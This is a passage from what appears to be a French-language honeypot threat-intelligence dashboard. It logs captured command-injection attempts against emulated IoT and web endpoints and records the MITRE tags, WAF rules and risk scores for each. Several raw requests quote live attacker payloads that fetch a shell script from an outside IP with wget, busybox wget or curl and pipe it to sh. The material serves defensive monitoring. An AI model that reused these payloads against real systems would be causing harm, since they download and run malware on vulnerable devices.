"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/;cd",
"evidence_snippet": "GET \/cgi-bin\/;cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavl",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 60 \u00b7 2 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950468:nosqli-3",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:10 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /Security/auditLog/search
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
GET /Security/auditLog/search
Émulateur
HTTP
WAF
13
Recommandation
Investiguer
Tags
950325:rce-0
950468:nosqli-3
http_no_ua
net_web_probe
Cible HTTP
GET
/Security/auditLog/search
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/Security/auditLog/search
Pourquoi cette classification : Injection de commande (tag rce-0) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0775
pat-0144
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932190
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Ligne de requête
GET /Security/auditLog/search?logTime=0;`cd HTTP/1.1
User-Agent
—
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /Security/auditLog/search?logTime=0;`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s hik3;busybox wget http://91.92.40.11
Requête brute (extrait)
GET /Security/auditLog/search?logTime=0;`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s hik3;busybox wget http://91.92.40.118/wget.sh -O-|sh -s hik3;curl http://91.92.40.118/wget.sh|sh -s hik3` HTTP/1.1 Host: 62.3.50.33:8081 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "e4d882982425293a1fec5646ad9c8e8237e11fe0",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 252,
"payload_entropy": 5.187027861434996,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 60,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 54,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "e3bc3154d7268828ac1b65fa0908b5b346a337a1",
"event_fingerprint": "8908b3c6b88ef275ba43d754980485c237b3a81a",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 514,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932190",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 54
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "4ed11baec0d13895f05143d398c8140b",
"path_pattern_hash": "b30061e72d047d96ba099ac8376cce65"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/Security\/auditLog\/search?logTime=0;`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;busybox wget http:\/\/91.92.40.11",
"method": "GET",
"path": "\/Security\/auditLog\/search",
"query_string": "logTime=0;`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Security\/auditLog\/search?logTime=0;`cd HTTP\/1.1",
"request_sample": "GET \/Security\/auditLog\/search?logTime=0;`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;curl http:\/\/91.92.40.118\/wget.sh|sh -s hik3` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/Security\/auditLog\/search?logTime=0;`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;busybox wget http:\/\/91.92.40.11",
"evidence": {
"method": "GET",
"path": "\/Security\/auditLog\/search",
"query_string": "logTime=0;`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Security\/auditLog\/search?logTime=0;`cd HTTP\/1.1",
"request_sample": "GET \/Security\/auditLog\/search?logTime=0;`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;curl http:\/\/91.92.40.118\/wget.sh|sh -s hik3` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/Security\/auditLog\/search?logTime=0;`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;busybox wget http:\/\/91.92.40.11",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d8998260b7b1d074b23097aed6af27dc269765e4",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Security\/auditLog\/search",
"request_line": "GET \/Security\/auditLog\/search?logTime=0;`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/Security\/auditLog\/search?logTime=0;`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;busybox wget http:\/\/91.92.40.11",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Security\/auditLog\/search",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag rce-0) \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag rce-0) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 54
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/Security\/auditLog\/search",
"request_line": "GET \/Security\/auditLog\/search?logTime=0;`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Security\/auditLog\/search",
"evidence_snippet": "GET \/Security\/auditLog\/search?logTime=0;`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s hik3;busybox wget http:\/\/91.92.40.11",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 60 \u00b7 2 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950325:rce-0",
"950468:nosqli-3",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:10 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/downloadFlile.cgi
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
GET /cgi-bin/downloadFlile.cgi
Émulateur
HTTP
WAF
13
Recommandation
Investiguer
Tags
950325:rce-0
950468:nosqli-3
http_no_ua
http_probe_cgi_bin
Cible HTTP
GET
/cgi-bin/downloadFlile.cgi
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/cgi-bin/downloadFlile.cgi
Pourquoi cette classification : Injection de commande (tag rce-0) · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0775
pat-0145
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Ligne de requête
GET /cgi-bin/downloadFlile.cgi?name=`cd HTTP/1.1
User-Agent
—
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/downloadFlile.cgi?name=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s toto5;busybox wget http://91.92.40.118/w
Requête brute (extrait)
GET /cgi-bin/downloadFlile.cgi?name=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s toto5;busybox wget http://91.92.40.118/wget.sh -O-|sh -s toto5;curl http://91.92.40.118/wget.sh|sh -s toto5` HTTP/1.1 Host: 62.3.50.33:8081 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "9f0e4f18c073e4ffe78d136d9ca4bd9e19b9431b",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 251,
"payload_entropy": 5.112401661105647,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 60,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 54,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "1a7029184e048a4fe8e2dac81113e4e12560e3d5",
"event_fingerprint": "93905f00e3ddc85fe0605c76b1644a1bea7c5799",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 444,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 54
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "3514ad6769e781a77f7106dc6faeb75f",
"path_pattern_hash": "1aae85e63b4d4e5c752317f5de257989"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;busybox wget http:\/\/91.92.40.118\/w",
"method": "GET",
"path": "\/cgi-bin\/downloadFlile.cgi",
"query_string": "name=`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;curl http:\/\/91.92.40.118\/wget.sh|sh -s toto5` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;busybox wget http:\/\/91.92.40.118\/w",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/downloadFlile.cgi",
"query_string": "name=`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;curl http:\/\/91.92.40.118\/wget.sh|sh -s toto5` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;busybox wget http:\/\/91.92.40.118\/w",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "eb7cb81a97bdd69575b87bbd6a0654e926f2943e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/downloadFlile.cgi",
"request_line": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;busybox wget http:\/\/91.92.40.118\/w",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/downloadFlile.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 54
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/downloadFlile.cgi",
"request_line": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/downloadFlile.cgi",
"evidence_snippet": "GET \/cgi-bin\/downloadFlile.cgi?name=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s toto5;busybox wget http:\/\/91.92.40.118\/w",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 60 \u00b7 2 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950325:rce-0",
"950468:nosqli-3",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:09 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /HNAP1/GetDeviceSettings/`cd
Élevée
Élevé · 67
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
GET /HNAP1/GetDeviceSettings/`cd
Émulateur
HTTP
WAF
54
Recommandation
Investiguer
Tags
950310:lfi-12
950324:rce-0
950326:rce-0
950334:rce-2
Cible HTTP
GET
/HNAP1/GetDeviceSettings/`cd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/HNAP1/GetDeviceSettings/`cd
Pourquoi cette classification : Injection de commande (tag lfi-12) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 67
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0775
pat-0145
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Probe /HNAP1/
Ligne de requête
GET /HNAP1/GetDeviceSettings/`cd HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
GET /HNAP1/GetDeviceSettings/`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s dhnap2;busybox wget http://91.92.40.118/wget.sh
Requête brute (extrait)
GET /HNAP1/GetDeviceSettings/`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s dhnap2;busybox wget http://91.92.40.118/wget.sh -O-|sh -s dhnap2;curl http://91.92.40.118/wget.sh|sh -s dhnap2` HTTP/1.1 Host: 62.3.50.33:8081 SOAPAction: "http://purenetwor
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "29a6cddf78878795feafd7a474d6be17135e91e6",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 474,
"payload_entropy": 5.138260382692764,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 67,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "d91b06d7a3369155bd0056df078a2cf707ae27d0",
"event_fingerprint": "4524ae7b2c6f8e7e1b04ca98c11310b28edf97af",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 444,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103",
"pat-0231"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass",
"Probe \/HNAP1\/"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103",
"pat-0231"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 67
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "d4379046ce19a1e483a3987382b1fbee",
"path_pattern_hash": "730fc774d6b4b583548b120c70921fd9"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"payload_preview": "GET \/HNAP1\/GetDeviceSettings\/`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;busybox wget http:\/\/91.92.40.118\/wget.sh",
"method": "GET",
"path": "\/HNAP1\/GetDeviceSettings\/`cd",
"waf_tags": [
"950310:lfi-12",
"950324:rce-0",
"950326:rce-0",
"950334:rce-2",
"950346:rce-5",
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
